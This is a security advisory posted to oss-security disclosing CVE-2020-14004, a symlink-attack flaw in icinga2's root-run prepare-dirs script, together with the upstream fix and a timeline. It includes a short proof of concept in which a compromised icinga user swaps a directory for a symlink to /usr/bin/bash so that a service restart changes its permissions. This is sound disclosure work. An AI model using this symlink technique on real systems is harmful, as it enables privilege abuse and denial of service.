Date: Fri, 12 Jun 2020 11:54:28 +0200
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: icinga2: CVE-2020-14004: prepare-dirs script allows for symlink
 attack in the icinga user context

Hello list,

during the review of directories with special permissions in openSUSE
distributions I noticed an icinga user privilege escalation issue in the
icinga2 monitoring software [1].

Issue Description

The icinga2 systemd service in /usr/lib/systemd/system/icinga2.service
contains the following Start statements:

```
ExecStartPre=/usr/lib/icinga2/prepare-dirs /etc/sysconfig/icinga2
ExecStart=/usr/sbin/icinga2 daemon --close-stdio -e ${ICINGA2_ERROR_LOG}
```

The prepare-dirs bash script which is executed as root contains - among
other things - the following sequence of commands:

```
if [ ! -e "$ICINGA2_INIT_RUN_DIR" ]; then
        mkdir "$ICINGA2_INIT_RUN_DIR"
        mkdir "$ICINGA2_INIT_RUN_DIR"/cmd
fi

chmod 755 "$ICINGA2_INIT_RUN_DIR"
chmod 2750 "$ICINGA2_INIT_RUN_DIR"/cmd
chown -R $ICINGA2_USER:$ICINGA2_COMMAND_GROUP "$ICINGA2_INIT_RUN_DIR"
```

It is made sure that the /run/icinga2 and /run/icinga2/cmd directories
are existing. Then /run/icinga2/cmd is given a setgid bit. And then
/run/icinga2 is recursively chowned to icinga:icingacmd.

The `chmod 2750 "$ICINGA2_INIT_RUN_DIR"/cmd` line allows the
unprivileged icinga user to perform a symlink attack, if /run/icinga2
already existed before which can for example happen when the icinga2
service is restarted.

Proof of concept on openSUSE Tumbleweed:

```
root# zypper in --no-recommends icinga2
[...]
root# systemctl start icinga2

# simulate a compromised icinga user account
root# sudo -u icinga /bin/bash
icinga# cd /run/icinga2
icinga# rm -rf cmd
# replace the cmd directory by a symlink to a privileged path
icinga# ln -s /usr/bin/bash cmd
# back to root
icinga# exit

# trigger prepare-dirs to be run again
root# sytemctl restart icinga2
# /usr/bin/bash is now of mode 2750
root# ls -lh /usr/bin/bash
-rwxr-s--- 1 root root 1.2M 19. Mai 15:05 /usr/bin/bash
```

This is no full local root exploit as far as I can see. It's lucky
because the mode 02750 doesn't allow `other` to execute the file.
Otherwise it would allow the attacker to gain e.g. root group
permissions. But the attack still allows a denial-of-service by denying
non-root users access to vital system directories. Maybe it could also
be combined with other security issues to gain full root privileges.

Upstream addressed this via commit 2f0f2e8c355b75fa4407d23f85feea037d2bc4b6
[3]. This fix removes the `chmod` lines and uses `mkdir -m <mode>` instead.

My personal long-term suggestion is to replace this directory creation logic
by a systemd-tmpfiles configuration file.

Remaining aspects

Apart from the `chmod` issue there is still the recursive chown line
`chown -R $ICINGA2_USER:$ICINGA2_COMMAND_GROUP "$ICINGA2_INIT_RUN_DIR"`
left in the script. This is also not ideal. `chown` from GNU coreutils
is not following symlinks. But it could still turn out to be subject to
race conditions on older or alternative `chown` implementations. It
would also be problematic if the Linux kernel hardlink protection is
turned off for some reason.

Upstream does not deem this problematic. I personally suggest to
recursively remove the directory instead, if it is not owned by the
configured user account. A suggested patch can be found in the openSUSE
bug for this issue [2] and is also attached to this email.

Timeline

2020-05-27: I reported this to the documented upstream security contact
            security@...nga.com.
2020-06-08: I received a reply from upstream pointing me to their already
            published fix [3], explaining that they don't intend to assign a
            CVE and see no need to fix the recursive `chown -R` line.
2020-06-10: I received a CVE from Mitre to track this issue.

[1]: https://icinga.com/
[2]: https://bugzilla.suse.com/show_bug.cgi?id=1172171
[3]: https://github.com/Icinga/icinga2/commit/2f0f2e8c355b75fa4407d23f85feea037d2bc4b6

Cheers

Matthias

--
Matthias Gerstner <matthias.gerstner@...e.de>
Dipl.-Wirtsch.-Inf. (FH), Security Engineer
https://www.suse.com/security
Phone: +49 911 740 53 290
GPG Key ID: 0x14C405C971923553

SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Felix Imendörffer

View attachment "prepare-dirs.patch**" of type "**text/x-diff**" (1366 bytes)**

Download attachment "signature.asc**" of type "**application/pgp-signature**" (834 bytes)**